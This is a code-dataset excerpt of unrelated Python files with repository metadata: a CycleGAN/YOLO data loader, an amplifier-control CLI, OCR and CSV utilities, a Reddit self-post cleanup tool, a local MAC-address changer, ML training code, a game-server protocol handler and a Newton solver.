int(inittype) def fromdict(self, data): """ Load data for this object from the given dictionary. """ super().fromdict(data) def scal(v): if type(v) == np.ndarray: return v[0] else: return v if 'inittype' in data: self.inittype = int(scal(data['inittype'])) def todict(self): """ Returns a Python dictionary containing all settings of this RunawayElectronDistribution object. """ d = super().todict() d['inittype'] = self.inittype return d

30.026667

83

0.655861

278

2,252

5.097122

0.366906

0.031757

0.067749

0.048694

0.149612

0.08892

0.0494

0

0.020784

0.25222

2,252

74

84

30.432432

0.820665

0.150089

0

0.015608

0

1

0.125

false

0

0.125

0

0.3

0

null

0

null

0

1

0

b51c95bad3faa026a48a62db4fc8bca989c644e2

7,561

py

Python

data/unaligned_dataset.py

basicskywards/cyclegan-yolo

536498706da30707facf1211355ff21df2e5b227

[ "BSD-3-Clause" ]

null

data/unaligned_dataset.py

basicskywards/cyclegan-yolo

536498706da30707facf1211355ff21df2e5b227

[ "BSD-3-Clause" ]

null

data/unaligned_dataset.py

basicskywards/cyclegan-yolo

536498706da30707facf1211355ff21df2e5b227

[ "BSD-3-Clause" ]

null

import os.path import torchvision.transforms as transforms from data.base_dataset import BaseDataset, get_transform from data.image_folder import make_dataset from PIL import Image import PIL from pdb import set_trace as st import torch import numpy as np #from yolo.utils.datasets import pad #import torchvision.transforms as transforms from yolo.utils.datasets import pad_to_square, resize, pad_to_square2 class UnalignedDataset(BaseDataset): # I/O for hybrid YOLOv3 + CycleGAN! Unsupported for batch data for YOLOv3 def initialize(self, opt, normalized_labels = True): self.opt = opt self.root = opt.dataroot self.normalized_labels = normalized_labels # self.dir_A = os.path.join(opt.dataroot, opt.phase + 'A') # self.dir_B = os.path.join(opt.dataroot, opt.phase + 'B') self.dir_A = os.path.join(opt.dataroot, 'A_train.txt') # A.txt contains a list of path/to/img1.jpg self.dir_B = os.path.join(opt.dataroot, 'B_train.txt') self.A_paths = make_dataset(self.dir_A) self.B_paths = make_dataset(self.dir_B) self.A_paths = sorted(self.A_paths) self.B_paths = sorted(self.B_paths) self.A_size = len(self.A_paths) self.B_size = len(self.B_paths) self.transform = get_transform(opt) # transform for cyclegan # prepare targets for yolo self.A_label_files = [ path.replace("images", "labels").replace(".png", ".txt").replace(".jpg", ".txt") for path in self.A_paths ] # self.A_label_files = [ # path.replace("images", "labels").replace(".png", ".txt").replace(".jpg", ".txt").replace("rainy/", "").replace("cloudy1000/", "").replace("sunny/", "").replace("night_or_night_and_rainy/", "") # for path in self.A_paths # ] self.B_label_files = [ path.replace("images", "labels").replace(".png", ".txt").replace(".jpg", ".txt").replace("rainy/", "").replace("cloudy1000/", "").replace("sunny/", "").replace("night_or_night_and_rainy/", "") for path in self.B_paths ] def __getitem__(self, index): A_path = self.A_paths[index % self.A_size] B_path = self.B_paths[index % self.B_size] A_path = A_path.strip('\n') B_path = B_path.strip('\n') #print('A_path = ', A_path) A_img = Image.open(A_path).convert('RGB') B_img = Image.open(B_path).convert('RGB') #img = transforms.ToTensor()(Image.open(img_path).convert('RGB')) tmp_A = transforms.ToTensor()(A_img) #print('\n**************************************************A_img.shape = ', tmp_A.shape) _, h, w = tmp_A.shape h_factor, w_factor = (h, w) if self.normalized_labels else (1, 1) # Pad to square resolution tmp_A, pad = pad_to_square2(tmp_A, 0) _, padded_h, padded_w = tmp_A.shape tmp_B = transforms.ToTensor()(B_img) #print('\n**************************************************A_img.shape = ', tmp_A.shape) _, hB, wB = tmp_B.shape h_factorB, w_factorB = (hB, wB) if self.normalized_labels else (1, 1) # Pad to square resolution tmp_B, padB = pad_to_square2(tmp_B, 0) _, padded_hB, padded_wB = tmp_B.shape A_img = self.transform(A_img) B_img = self.transform(B_img) # --------- # Label # --------- def label_path2bboxes(label_path, pad, h_factor, w_factor, padded_h, padded_w): tmp_targets = None if os.path.exists(label_path): boxes = torch.from_numpy(np.loadtxt(label_path).reshape(-1, 5)) # Extract coordinates for unpadded + unscaled image x1 = w_factor * (boxes[:, 1] - boxes[:, 3] / 2) y1 = h_factor * (boxes[:, 2] - boxes[:, 4] / 2) x2 = w_factor * (boxes[:, 1] + boxes[:, 3] / 2) y2 = h_factor * (boxes[:, 2] + boxes[:, 4] / 2) # Adjust for added padding x1 += pad[0] y1 += pad[2] x2 += pad[1] y2 += pad[3] # Returns (x, y, w, h) in scale [0, 1] boxes[:, 1] = ((x1 + x2) / 2) / padded_w boxes[:, 2] = ((y1 + y2) / 2) / padded_h boxes[:, 3] *= w_factor / padded_w boxes[:, 4] *= h_factor / padded_h #print('\nboxes x y w h: ', boxes) tmp_targets = torch.zeros((len(boxes), 6)) tmp_targets[:, 1:] = boxes return tmp_targets label_path = self.A_label_files[index % len(self.A_paths)].rstrip() A_targets = label_path2bboxes(label_path, pad, h_factor, w_factor, padded_h, padded_w) label_path_B = self.B_label_files[index % len(self.B_paths)].rstrip() B_targets = label_path2bboxes(label_path_B, padB, h_factorB, w_factorB, padded_hB, padded_wB) #print('targets = ', targets) #targets = generate_YOLO_targets(self.bbox) # A_path = A_annotation # return {'A': A_img, 'B': B_img, # 'A_paths': A_path, 'B_paths': B_path, # 'targets': targets} return {'A': A_img, 'B': B_img, 'A_paths': A_path, 'B_paths': B_path, 'A_targets': A_targets, 'B_targets': B_targets} # add B_bbox, A_bbox def collate_fn(self, batch): # input images will be resized to 416 # this collate_fn to suport batchSize >= 2 #print('collate fn: ', zip(*batch)) tmp = list(batch) #print('tmp = ', len(tmp)) target_As = [data['A_targets'] for data in tmp if data['A_targets'] is not None] #print('targets_As = ', target_As) for i, boxes in enumerate(target_As): boxes[:, 0] = i target_As = torch.cat(target_As, 0) # BUG #print('target_As: ', target_As.shape) #print('target_As cat = ', target_As) target_Bs = [data['B_targets'] for data in tmp if data['B_targets'] is not None] for i, boxes in enumerate(target_Bs): boxes[:, 0] = i #print('\ntarget_Bs: ', target_Bs) #target_Bs = torch.cat(target_Bs, 0) # BUG As = torch.stack([data['A'] for data in tmp]) Bs = torch.stack([data['B'] for data in tmp]) path_As = [data['A_paths'] for data in tmp] #path_As = torch.cat(path_As, 0) path_Bs = [data['B_paths'] for data in tmp] #path_Bs = torch.cat(path_Bs, 0) # paths, imgs, targets = list(zip(*batch)) # # Remove empty placeholder targets # targets = [boxes for boxes in targets if boxes is not None] # # Add sample index to targets # for i, boxes in enumerate(targets): # boxes[:, 0] = i # targets = torch.cat(targets, 0) # # Selects new image size every tenth batch # if self.multiscale and self.batch_count % 10 == 0: # self.img_size = random.choice(range(self.min_size, self.max_size + 1, 32)) # # Resize images to input shape # imgs = torch.stack([resize(img, self.img_size) for img in imgs]) # self.batch_count += 1 return {'A': As, 'B': Bs, 'A_paths': path_As, 'B_paths': path_Bs, 'A_targets': target_As, 'B_targets': target_Bs} def __len__(self): return max(self.A_size, self.B_size) def name(self): return 'UnalignedDataset'

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3.903977

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0.019876

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0.226804

0

null

0

null

0

1

0

b51f90c659e185b69613117f368541efd8ec132f

8,396

py

Python

primare_control/primare_interface.py

ZenithDK/primare-control

597a2dd15bedb511fab5cca8d01044692d1e2d96

[ "Apache-2.0" ]

null

primare_control/primare_interface.py

ZenithDK/primare-control

597a2dd15bedb511fab5cca8d01044692d1e2d96

[ "Apache-2.0" ]

null

primare_control/primare_interface.py

ZenithDK/primare-control

597a2dd15bedb511fab5cca8d01044692d1e2d96

[ "Apache-2.0" ]

null

"""Interface to Primare amplifiers using Twisted SerialPort. This module allows you to control your Primare I22 and I32 amplifier from the command line using Primare's binary protocol via the RS232 port on the amplifier. """ import logging import click from contextlib import closing from primare_control import PrimareController # from twisted.logger import ( # FilteringLogObserver, # globalLogBeginner, # Logger, # LogLevel, # LogLevelFilterPredicate, # textFileLogObserver # ) # log = Logger() # globalLogBeginner.beginLoggingTo([ # FilteringLogObserver( # textFileLogObserver(sys.stdout), # [LogLevelFilterPredicate(LogLevel.debug)] # ) # ]) # Setup logging so that is available FORMAT = '%(asctime)-15s %(name)s %(levelname)-8s %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) logger = logging.getLogger(__name__) class DefaultCmdGroup(click.Group): """Custom implementation for handling Primare methods in a unified way.""" def list_commands(self, ctx): """List Primare Control methods.""" rv = [method for method in dir(PrimareController) if not method.startswith('_')] rv.append('interactive') rv.sort() return rv def get_command(self, ctx, name): """Return click command.""" @click.pass_context def subcommand(*args, **kwargs): #logger.debug("subcommand args: {}".format(args)) #logger.debug("subcommand kwargs: {}".format(kwargs)) ctx = args[0] params = ctx.obj['parameters'] ctx.obj['p_ctrl'] = PrimareController(port=params['port'], baudrate=params['baudrate'], source=None, volume=None, debug=params['debug']) with closing(ctx.obj['p_ctrl']): try: if ctx.obj['parameters']['amp_info']: ctx.obj['p_ctrl'].setup() method = getattr(PrimareController, name) if len(kwargs): method(ctx.obj['p_ctrl'], int(kwargs['value'])) else: method(ctx.obj['p_ctrl']) except KeyboardInterrupt: logger.info("User aborted") except TypeError as e: logger.error(e) if name == "interactive": cmd = click.Group.get_command(self, ctx, 'interactive') else: if name in [method for method in dir(PrimareController) if not method.startswith('_')]: # attach doc from original callable so it will appear in CLI # output subcommand.__doc__ = getattr(PrimareController, name).__doc__ if getattr(PrimareController, name).__func__.__code__.co_argcount > 1: params_arg = [click.Argument(("value",))] else: params_arg = None cmd = click.Command(name, params=params_arg, callback=subcommand) else: #logger.debug("get_command no_such_cmd") cmd = None return cmd @click.command(cls=DefaultCmdGroup) @click.pass_context @click.option("--amp-info", default=False, is_flag=True, help="Retrieve and print amplifier information") @click.option("--baudrate", default='4800', type=click.Choice(['300', '1200', '2400', '4800', '9600', '19200', '57600', '115200']), help="Serial port baudrate. For I22 it _must_ be 4800.") @click.option("--debug", "-d", default=False, is_flag=True, help="Enable debug output.") @click.option("--port", "-p", default="/dev/ttyUSB0", help="Serial port to use (e.g. 3 for a COM port on Windows, " "/dev/ttyATH0 for Arduino Yun, /dev/ttyACM0 for Serial-over-USB " "on RaspberryPi.") def cli(ctx, amp_info, baudrate, debug, port): """Prototype command.""" try: # on Windows, we need port to be an integer port = int(port) except ValueError: pass ctx.obj = {} ctx.obj['p_ctrl'] = None ctx.obj['parameters'] = { 'amp_info': amp_info, 'baudrate': baudrate, 'debug': debug, 'port': port, } @cli.command() @click.pass_context def interactive(ctx): """Start interactive shell for controlling a Primare amplifier. Press enter (blank line), 'q' or 'quit' to exit. For a list of available commands, type 'help' """ method_list = [ (method, getattr(PrimareController, method).__doc__) for method in dir(PrimareController) if not method.startswith('_')] help_string = """To exit, press enter (blank line) or type 'q' or 'quit'.\n Available commands are: {}""".format('\n'.join(" {} {}".format(method.ljust(25), doc.splitlines()[0]) for method, doc in method_list)) try: params = ctx.obj['parameters'] ctx.obj['p_ctrl'] = PrimareController(port=params['port'], baudrate=params['baudrate'], source=None, volume=None, debug=params['debug']) if ctx.obj['parameters']['amp_info']: ctx.obj['p_ctrl'].setup() logger.info(help_string) nb = '' while True: nb = raw_input('Cmd: ').strip() if not nb or nb == 'q' or nb == 'quit': logger.debug("Quit: '{}'".format(nb)) break elif nb.startswith('help'): if len(nb.split()) == 2: help_method = nb.split()[1] matches = [item for item in method_list if item[0].startswith(help_method)] if len(matches): logger.info("\n".join("\n== {}\n{}".format( method.ljust(25), doc_string) for method, doc_string in matches)) else: logger.info( "Help requested on unknown method: {}".format( help_method)) else: logger.info(help_string) else: parsed_cmd = nb.split() command = getattr(ctx.obj['p_ctrl'], parsed_cmd[0], None) if command: try: if len(parsed_cmd) > 1: if parsed_cmd[1].lower() == "true": parsed_cmd[1] = True elif parsed_cmd[1].lower() == "false": parsed_cmd[1] = False elif parsed_cmd[0] == "remote_cmd": pass parsed_cmd[1] = '{}'.format(parsed_cmd[1]) else: parsed_cmd[1] = int(parsed_cmd[1]) command(parsed_cmd[1]) else: command() except TypeError as e: logger.warn("You called a method with an incorrect" + "number of parameters: {}".format(e)) else: logger.info("No such function - try again") except KeyboardInterrupt: logger.info("User aborted") # in a non-main thread: ctx.obj['p_ctrl'].close() del ctx.obj['p_ctrl'] ctx.obj['p_ctrl'] = None if __name__ == '__main__': cli()

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0.47737

798

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4.902256

0.288221

0.027607

0.021472

0.033742

0.221115

0.162065

0.126278

0.112986

0

0.01643

0.412816

8,396

229

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36.663755

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0

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0

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false

0.02994

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0.005988

0

null

0

null

0

1

0

b51fa08d66290d275d2da9e4167fcbc0a1d4e931

382

py

Python

sjfxjc/foundations-for-analytics-with-python-master/csv/2csv_reader_parsing_and_write.py

SaronZhou/python

40d73b49b9b17542c73a3c09d28e479d2fefcde3

[ "MIT" ]

null

sjfxjc/foundations-for-analytics-with-python-master/csv/2csv_reader_parsing_and_write.py

SaronZhou/python

40d73b49b9b17542c73a3c09d28e479d2fefcde3

[ "MIT" ]

null

sjfxjc/foundations-for-analytics-with-python-master/csv/2csv_reader_parsing_and_write.py

SaronZhou/python

40d73b49b9b17542c73a3c09d28e479d2fefcde3

[ "MIT" ]

null

#!/usr/bin/env python3 import csv import sys input_file = sys.argv[1] output_file = sys.argv[2] with open(input_file, 'r', newline='') as csv_in_file: with open(output_file, 'w', newline='') as csv_out_file: filereader = csv.reader(csv_in_file, delimiter=',') filewriter = csv.writer(csv_out_file, delimiter=',') for row_list in filereader: filewriter.writerow(row_list)

29.384615

57

0.730366

61

382

4.344262

0.491803

0.067925

0.083019

0

0.008982

0.125654

382

13

58

29.384615

0.784431

0.054974

0

0.01108

0

1

0

false

0

0.2

0

0.2

0

null

0

null

0

1

0

b5220f9d88a447b033fc07fa837a16f3731fa688

1,971

py

Python

ocrDA.py

it-pebune/ani-research-data-extraction

e8b0ffecb0835020ce7942223cf566dc45ccee35

[ "MIT" ]

null

ocrDA.py

it-pebune/ani-research-data-extraction

e8b0ffecb0835020ce7942223cf566dc45ccee35

[ "MIT" ]

7

2022-01-29T22:19:55.000Z

2022-03-28T18:18:19.000Z

ocrDA.py

it-pebune/ani-research-data-extraction

e8b0ffecb0835020ce7942223cf566dc45ccee35

[ "MIT" ]

null

import json from NewDeclarationInQueue.formular_converter import FormularConverter from NewDeclarationInQueue.preprocess_one_step import PreprocessOneStep from NewDeclarationInQueue.preprocess_two_steps import PreProcessTwoSteps from NewDeclarationInQueue.processfiles.customprocess.search_text_line_parameter import SearchTextLineParameter from NewDeclarationInQueue.processfiles.customprocess.table_config_detail import TableConfigDetail from NewDeclarationInQueue.processfiles.customprocess.text_with_special_ch import TextWithSpecialCharacters from NewDeclarationInQueue.processfiles.ocr_worker import OcrWorker from NewDeclarationInQueue.processfiles.process_messages import ProcessMessages def process_only_second_steps(input_file_path: str): second_step = PreprocessOneStep() #second_step.process_step_two(input_file_path) second_step.process_custom_model_step_two(input_file_path) def get_input(input_file: str): node = [] with open(input_file) as json_data: node = json.load(json_data) json_data.close() return node def process_two_steps(sfile: str): str_msg_id = 'abc' dict_input = get_input(sfile) two_steps = PreProcessTwoSteps() process_messages = ProcessMessages('OCR Process', str_msg_id) one_step = PreprocessOneStep() ocr_constants = one_step.get_env() ocr_file, process_messages = two_steps.get_file_info(dict_input, process_messages) formular_converter = FormularConverter() ocr_formular = formular_converter.get_formular_info(ocr_constants, ocr_file) #process_messages_json = two_steps.process_document(ocr_file, ocr_constants, ocr_formular, process_messages) process_messages = two_steps.process_document_with_custom_model(ocr_file, ocr_constants, process_messages) #two_steps.save_in_output_queue(process_messages_json) #process_only_second_steps(r"test_url.json") process_two_steps(r"test_url.json")

38.647059

112

0.811771

235

1,971

6.395745

0.289362

0.08982

0.123087

0.0998

0.049235

0

0.129376

1,971

50

113

39.42

0.875874

0.125824

0

0.015734

0

1

0.1

false

0

0.3

0

0.433333

0

null

0

null

0

1

0

b525a442d992316233f044f50e799f9a075c90fa

1,270

py

Python

app/users/tasks.py

atulmishra-one/dairy_management_portal

a07320dc0f4419d4c78f7d2453c63b1c9544aba8

[ "MIT" ]

2

2020-08-02T10:06:19.000Z

2022-03-29T06:10:57.000Z

app/users/tasks.py

atulmishra-one/dairy_management_portal

a07320dc0f4419d4c78f7d2453c63b1c9544aba8

[ "MIT" ]

null

app/users/tasks.py

atulmishra-one/dairy_management_portal

a07320dc0f4419d4c78f7d2453c63b1c9544aba8

[ "MIT" ]

2

2019-02-03T15:44:02.000Z

2021-03-09T07:30:28.000Z

import xlrd from app.services.extension import task_server, sqlalchemy as db from app.models.core.user import User from app.application import initialize_app try: from app.config.production import ProductionConfig as config_object except ImportError: from app.config.local import LocalConfig as config_object @task_server.task() def upload_users(file_object): workbook = xlrd.open_workbook(file_object) worksheet = workbook.sheet_by_index(0) offset = 0 rows = [] for i, row in enumerate(range(worksheet.nrows)): if i <= offset: # (Optionally) skip headers continue r = [] for j, col in enumerate(range(worksheet.ncols)): r.append(worksheet.cell_value(i, j)) rows.append(r) users = [] for i, row in enumerate(rows): users.append({ 'initial_name': row[0], 'first_name': row[1], 'last_name': row[2], 'username': row[3], 'email': row[4], 'password': row[5], 'active': row[6] }) app = initialize_app(config_object) with app.test_request_context(): user_object = User() user_object.create_or_update(users) return "OK."

27.608696

71

0.607874

157

1,270

4.770701

0.509554

0.046729

0.034713

0.024032

0.048064

0

0.009934

0.286614

1,270

46

72

27.608696

0.816777

0.019685

0

0.049035

0

1

0.027027

false

0.027027

0.189189

0

0.243243

0

null

0

null

0

1

0

b526e227b8af6adb71768eb4900aaf57a69f1acb

3,444

py

Python

savenger.py

SlapBot/GodkillerArmor

27058332cd94c4389b092a621eeedc834d8f5a15

[ "MIT" ]

3

2018-07-06T17:06:28.000Z

2018-09-06T03:31:43.000Z

savenger.py

SlapBot/GodkillerArmor

27058332cd94c4389b092a621eeedc834d8f5a15

[ "MIT" ]

null

savenger.py

SlapBot/GodkillerArmor

27058332cd94c4389b092a621eeedc834d8f5a15

[ "MIT" ]

1

2018-07-10T00:13:07.000Z

from praw import Reddit import random class Savenger: AVENGERS = ["Iron Man", "Doctor Strange", "Star-Lord", "Black Widow", "Thor", "Spider-Man", "Captain America", "Wanda Maximoff", "Bucky Barnes", "Loki", "Hulk", "Black Panther", "Vision", "Gamora", "Drax", "Nebula", "Sam Wilson", "Mantis", "Okoye", "Shuri", "Groot", "Rocket", "Heimdall"] def __init__(self): self.Reddit = Reddit def get_superhero(self): return random.choice(self.AVENGERS) def authenticate(self, username, password, client_id, client_secret, user_agent): print("Authenticating...") try: self.reddit = self.Reddit(user_agent=user_agent, client_id=client_id, client_secret=client_secret, username=username, password=password) self.user = self.reddit.user.me() print(f"Authenticated as {self.user}") return self.reddit except Exception as e: print(e) exit() def save(self, subreddit): try: print("Savengers are on the way, stay hold.") subreddit = self.reddit.subreddit(subreddit) print(f"{self.get_superhero()} finding every threatening submission made in {subreddit}") subreddit_submissions = self.get_user_subreddit_submissions(subreddit) self.delete_submissions(subreddit_submissions) print(f"{self.get_superhero()} saved your from dying by the submission's author") print(f"{self.get_superhero()} finding every forbidding comment made in {subreddit}") subreddit_comments = self.get_user_subreddit_comments(subreddit) self.delete_comments(subreddit_comments) print("Savengers have saved you!") print("Go visit https://www.reddit.com/r/savengers/ to have a chat with the fellow superheroes") return True except Exception as e: print(e) exit() def get_user_subreddit_comments(self, subreddit): subreddit_comments = [] for comment in self.user.comments.new(limit=None): if comment.subreddit == subreddit: if comment.body: print(f"{self.get_superhero()} found a comment with the body: {comment.body}") subreddit_comments.append(comment) return subreddit_comments def get_user_subreddit_submissions(self, subreddit): subreddit_submissions = [] for submission in self.user.submissions.new(limit=None): if submission.subreddit == subreddit: if submission.title: print(f"{self.get_superhero()} found a submission with the title: {submission.title}") subreddit_submissions.append(submission) return subreddit_submissions def delete_comments(self, subreddit_comments): for subreddit_comment in subreddit_comments: print(f"{self.get_superhero()} successfully eliminated the threatening comment!") subreddit_comment.delete() return True def delete_submissions(self, subreddit_submissions): for subreddit_submission in subreddit_submissions: print(f"{self.get_superhero()} successfully eliminated the forbidding post!") subreddit_submission.delete() return True

44.727273

108

0.626597

370

3,444

5.683784

0.318919

0.029957

0.033286

0.043272

0.162625

0.07418

0

0.278165

3,444

76

109

45.315789

0.845937

0

0.166667

0

0.015152

0.256969

0.044715

0

1

0.121212

false

0.030303

0.015152

0.287879

0.212121

0

null

0

null

0

1

0

b52a4b91de40afb841386437bc92df7dcd61942d

1,493

py

Python

python-packages/pyRiemann-0.2.2/pyriemann/channelselection.py

rajegannathan/grasp-lift-eeg-cat-dog-solution-updated

ee45bee6f96cdb6d91184abc16f41bba1546c943

[ "BSD-3-Clause" ]

2

2017-08-13T14:09:32.000Z

2018-07-16T23:39:00.000Z

python-packages/pyRiemann-0.2.2/pyriemann/channelselection.py

rajegannathan/grasp-lift-eeg-cat-dog-solution-updated

ee45bee6f96cdb6d91184abc16f41bba1546c943

[ "BSD-3-Clause" ]

null

python-packages/pyRiemann-0.2.2/pyriemann/channelselection.py

rajegannathan/grasp-lift-eeg-cat-dog-solution-updated

ee45bee6f96cdb6d91184abc16f41bba1546c943

[ "BSD-3-Clause" ]

2

2018-04-02T06:45:11.000Z

2018-07-16T23:39:02.000Z

from .utils.distance import distance from .classification import MDM import numpy from sklearn.base import BaseEstimator, TransformerMixin ########################################################## class ElectrodeSelection(BaseEstimator, TransformerMixin): def __init__(self, nelec=16, metric='riemann'): self.nelec = nelec self.metric = metric self.subelec = -1 self.dist = [] def fit(self, X, y=None): mdm = MDM(metric=self.metric) mdm.fit(X, y) self.covmeans = mdm.covmeans Ne, _ = self.covmeans[0].shape self.subelec = range(0, Ne, 1) while (len(self.subelec)) > self.nelec: di = numpy.zeros((len(self.subelec), 1)) for idx in range(len(self.subelec)): sub = self.subelec[:] sub.pop(idx) di[idx] = 0 for i in range(len(self.covmeans)): for j in range(i + 1, len(self.covmeans)): di[idx] += distance( self.covmeans[i][ :, sub][ sub, :], self.covmeans[j][ :, sub][ sub, :]) # print di torm = di.argmax() self.dist.append(di.max()) self.subelec.pop(torm) return self def transform(self, X): return X[:, self.subelec, :][:, :, self.subelec]

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null

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null

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b52daf8a9a6916b3bc3be9fb6b077491427da67f

1,728

py

Python

mac_changer.py

xicoder96/luv-sic

033527b558c3e4d7f254dca1e2f6f0ccf9ff78fe

[ "MIT" ]

null

mac_changer.py

xicoder96/luv-sic

033527b558c3e4d7f254dca1e2f6f0ccf9ff78fe

[ "MIT" ]

null

mac_changer.py

xicoder96/luv-sic

033527b558c3e4d7f254dca1e2f6f0ccf9ff78fe

[ "MIT" ]

null

#!/usr/bin/env python3 import subprocess import re import argparse def get_arguments(): parser = argparse.ArgumentParser() parser.add_argument("-i", "--interface", dest="interface", help="interface to change mac address") parser.add_argument("-m", "--mac", dest="new_mac", help="value of new mac address") options = parser.parse_args() if not options.interface: parser.error("Please enter interface, use --help for more information") elif not options.new_mac: parser.error( "Please enter new MAC address use --help for more information") return options def change_mac(interface, new_mac): print(f"[+] Changing mac address for {interface} to {new_mac}") subprocess.call(["sudo", "ifconfig", interface, "down"]) subprocess.call(["sudo", "ifconfig", interface, "hw", "ether", new_mac]) subprocess.call(["sudo", "ifconfig", interface, "up"]) def get_current_mac(interface): ifconfig_result = str(subprocess.check_output( ["sudo", "ifconfig", interface])) search_result = re.search( r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", ifconfig_result) if search_result: return search_result.group(0) else: print("[-] Could not read mac address") if __name__ == "__main__": options = get_arguments() current_mac = get_current_mac(options.interface) print(f"Current Mac:{current_mac}") change_mac(options.interface, options.new_mac) current_mac = get_current_mac(options.interface) if current_mac == options.new_mac: print(f"[+] MAC address was successfully changed to {current_mac}") else: print("[-] MAC address did not change")

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b53016b4f1a8a22aaafbf177615312636a59d031

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py

Python

training/model.py

J77M/stuffy-nose-recognition

e5d8957e2026e9046e6ffee69a60a11a686bc042

[ "MIT" ]

null

training/model.py

J77M/stuffy-nose-recognition

e5d8957e2026e9046e6ffee69a60a11a686bc042

[ "MIT" ]

null

training/model.py

J77M/stuffy-nose-recognition

e5d8957e2026e9046e6ffee69a60a11a686bc042

[ "MIT" ]

null

import tensorflow as tf import numpy as np import time import utils path = r'data/' x, y = utils.reload_data(path) inp_shape = (x[0].shape[0],1) x = np.array(x).reshape(-1, 1000, 1)# change 1000 to your sample lenght if you changed frame (= CHUNK ) or RESOLUTION # prepared for testing and evaluating. try other combinations of architecture dense_layers = [1] conv_sizes = [64] conv_layers = [2] dense_layer_sizes = [256] kernel = 10 pool_size = 4 _batchs = 5 _epochs = 10 for dense_layer in dense_layers: for conv_layer in conv_layers: for dense_size in dense_layer_sizes: for conv_size in conv_sizes: NAME = '{}-conv_layers-{}-dense_layers-{}-conv_size-{}-dense_size-{}-kernel-{}'.format(conv_layer,dense_layer,conv_size, dense_size,kernel, int(time.time())) model = tf.keras.Sequential() model.add(tf.keras.layers.Conv1D(conv_size, kernel, activation='relu', input_shape = inp_shape)) model.add(tf.keras.layers.MaxPooling1D(pool_size)) for i in range(conv_layer-1): model.add(tf.keras.layers.Conv1D(conv_size, kernel, activation='relu')) model.add(tf.keras.layers.MaxPooling1D(pool_size)) model.add(tf.keras.layers.Flatten()) for _ in range(dense_layer): model.add(tf.keras.layers.Dense(dense_size, activation='relu')) model.add(tf.keras.layers.Dense(1, activation='sigmoid')) model.compile(loss = 'binary_crossentropy', optimizer='adam', metrics=['accuracy']) tensorboard = tf.keras.callbacks.TensorBoard(log_dir='model_evaluate/{}'.format(NAME)) print(NAME) model.fit(x,y, batch_size = _batchs, epochs=_epochs, validation_split = 0.2, callbacks=[tensorboard]) model.save('trained_models/{}.h5'.format(NAME))

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b5325a85e324486debcb82eb330c6fd293cb8cf4

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py

Python

game/game/protocol.py

maosplx/L2py

5d81b2ea150c0096cfce184706fa226950f7f583

[ "MIT" ]

7

2020-09-01T21:52:37.000Z

2022-02-25T16:00:08.000Z

game/game/protocol.py

maosplx/L2py

5d81b2ea150c0096cfce184706fa226950f7f583

[ "MIT" ]

4

2021-09-10T22:15:09.000Z

2022-03-25T22:17:43.000Z

game/game/protocol.py

maosplx/L2py

5d81b2ea150c0096cfce184706fa226950f7f583

[ "MIT" ]

9

2020-09-01T21:53:39.000Z

2022-03-30T12:03:04.000Z

import logging from common.api_handlers import handle_request from common.packet import Packet from common.response import Response from common.transport.protocol import TCPProtocol from game.models.world import WORLD from game.session import GameSession from game.states import Connected LOG = logging.getLogger(f"l2py.{__name__}") class Lineage2GameProtocol(TCPProtocol): session_cls = GameSession def connection_made(self, transport): super().connection_made(transport) LOG.info( "New connection from %s:%s", *self.transport.peer, ) self.session.set_state(Connected) @TCPProtocol.make_async async def data_received(self, data: bytes): request = self.transport.read(data) response = await handle_request(request) if response: LOG.debug( "Sending packet to %s:%s", *self.transport.peer, ) self.transport.write(response) for action in response.actions_after: action_result = await action if isinstance(action_result, Packet): self.transport.write(Response(action_result, self.session)) def connection_lost(self, exc) -> None: self.session.logout_character()

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py

Python

pyoptmat/solvers.py

Argonne-National-Laboratory/pyoptmat

a6e5e8d0b93c77374d4ccbc65a86262eec5df77b

[ "MIT" ]

null

pyoptmat/solvers.py

Argonne-National-Laboratory/pyoptmat

a6e5e8d0b93c77374d4ccbc65a86262eec5df77b

[ "MIT" ]

1

2022-03-30T22:20:38.000Z

2022-03-31T15:02:22.000Z

pyoptmat/solvers.py

Argonne-National-Laboratory/pyoptmat

a6e5e8d0b93c77374d4ccbc65a86262eec5df77b

[ "MIT" ]

2

2021-11-16T15:13:54.000Z

2022-01-06T21:35:42.000Z

import torch import warnings def newton_raphson(fn, x0, linsolver = "lu", rtol = 1e-6, atol = 1e-10, miter = 100): """ Solve a nonlinear system with Newton's method. Return the solution and the last Jacobian Args: fn: function that returns the residual and Jacobian x0: starting point linsolver (optional): method to use to solve the linear system rtol (optional): nonlinear relative tolerance atol (optional): nonlinear absolute tolerance miter (optional): maximum number of nonlinear iterations """ x = x0 R, J = fn(x) nR = torch.norm(R, dim = -1) nR0 = nR i = 0 while (i < miter) and torch.any(nR > atol) and torch.any(nR / nR0 > rtol): x -= solve_linear_system(J, R) R, J = fn(x) nR = torch.norm(R, dim = -1) i += 1 if i == miter: warnings.warn("Implicit solve did not succeed. Results may be inaccurate...") return x, J def solve_linear_system(A, b, method = "lu"): """ Solve or iterate on a linear system of equations Args: A: block matrix b: block RHS method (optional): """ if method == "diag": return b / torch.diagonal(A, dim1=-2, dim2=-1) elif method == "lu": return torch.linalg.solve(A, b) else: raise ValueError("Unknown solver method!")

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b5373a616def2b1d58dca3805f309b56a4c149e0

323

py

Python

Algo and DSA/LeetCode-Solutions-master/Python/number-of-substrings-with-only-1s.py

Sourav692/FAANG-Interview-Preparation

f523e5c94d582328b3edc449ea16ac6ab28cdc81

[ "Unlicense" ]

3,269

2018-10-12T01:29:40.000Z

2022-03-31T17:58:41.000Z

Algo and DSA/LeetCode-Solutions-master/Python/number-of-substrings-with-only-1s.py

Sourav692/FAANG-Interview-Preparation

f523e5c94d582328b3edc449ea16ac6ab28cdc81

[ "Unlicense" ]

53

2018-12-16T22:54:20.000Z

2022-02-25T08:31:20.000Z

Algo and DSA/LeetCode-Solutions-master/Python/number-of-substrings-with-only-1s.py

Sourav692/FAANG-Interview-Preparation

f523e5c94d582328b3edc449ea16ac6ab28cdc81

[ "Unlicense" ]

1,236

2018-10-12T02:51:40.000Z

2022-03-30T13:30:37.000Z

# Time: O(n) # Space: O(1) class Solution(object): def numSub(self, s): """ :type s: str :rtype: int """ MOD = 10**9+7 result, count = 0, 0 for c in s: count = count+1 if c == '1' else 0 result = (result+count)%MOD return result

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null

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b537ff6eac7f94b76cf8db09b3957cee998efb52

4,531

py

Python

usecase-2/monitoring/fleet-seat-info-monitor/src/seat_res_train_monitor.py

edgefarm/edgefarm-demos

6381d4a2f7f9c1d0632ab8123fed2bd0763d3b34

[ "MIT" ]

null

usecase-2/monitoring/fleet-seat-info-monitor/src/seat_res_train_monitor.py

